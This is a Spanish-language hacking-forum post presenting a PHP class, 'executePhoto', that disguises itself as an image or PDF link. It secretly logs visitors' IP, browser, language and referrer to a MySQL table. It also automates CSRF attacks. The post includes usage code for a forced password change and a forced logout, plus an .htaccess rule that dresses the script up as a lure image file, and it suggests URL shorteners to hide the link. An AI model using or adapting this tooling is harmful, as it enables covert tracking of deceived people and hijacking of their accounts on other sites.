Definición:
Básicamente es una class para poder capturar la IP/Navegador de un usuario mostrando una imagen, pdf o redirigiendo a otra web, los datos son guardados en una base de datos MySQL.
También nos vale para agilizar CSRF/XSRF ya que añadiendo los parámetros en un array ya estará creado todo el html y la redirección JS.
Enlace:
https://github.com/DaveMTC/executePhoto
Explicación:
Bueno es bastante sencillo el asunto, importamos la clase y luego llamamos a los métodos que queremos, por ejemplo:
Código
<?php require('class.executePhoto.php'); // Capturamos los datos de la conexion: executePhoto::save_client(); // Imprimimos una imagen remota: executePhoto::print_img('http://foro.elhacker.net/Themes/converted/selogo.jpg'); // Imprimimos un PDF: executePhoto::print_pdf('http://www.boe.es/boe/dias/2013/02/04/pdfs/BOE-A-2013-1145.pdf'); // Parametros que seran redirigidos: 'repetir_contrasenya' => '123456', 'email' => 'ejemplo@email.com'); // Ejemplo de ejecucion arbitraria cambio contrasenya: executePhoto::redirect_post('http://localhost/', $param); // Redireccionamos la web y desconectamos a X usuario de la web: executePhoto::redirect('http://localhost/logout'); ?>
Tabla:
Los datos que se guardan en la base de datos son el lenguaje del navegador, la ip, el tipo de navegador, la hora y la url de referencia si es que existe.
Código
CREATE TABLE `list_clients` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `ip` VARCHAR(120) DEFAULT NULL, `lang` VARCHAR(200) DEFAULT NULL, `browser` VARCHAR(200) DEFAULT NULL, `referer` VARCHAR(200) DEFAULT NULL, `date` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (`id`), UNIQUE KEY `ip` (`ip`) USING BTREE ) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;
htaccess:
Por ultimo también hay un .htaccess, para que la url sea mas amigable al usuario, siempre entra mejor un http://www.miweb.es/lorena-desnuda.jpg aunque también podemos usar acortadores como bit.ly
Código:
RewriteEngine On
RewriteRule ^(.*)\.jpg$ example.php [NC]
Un saludo y ojala le sirva a alguien ^^.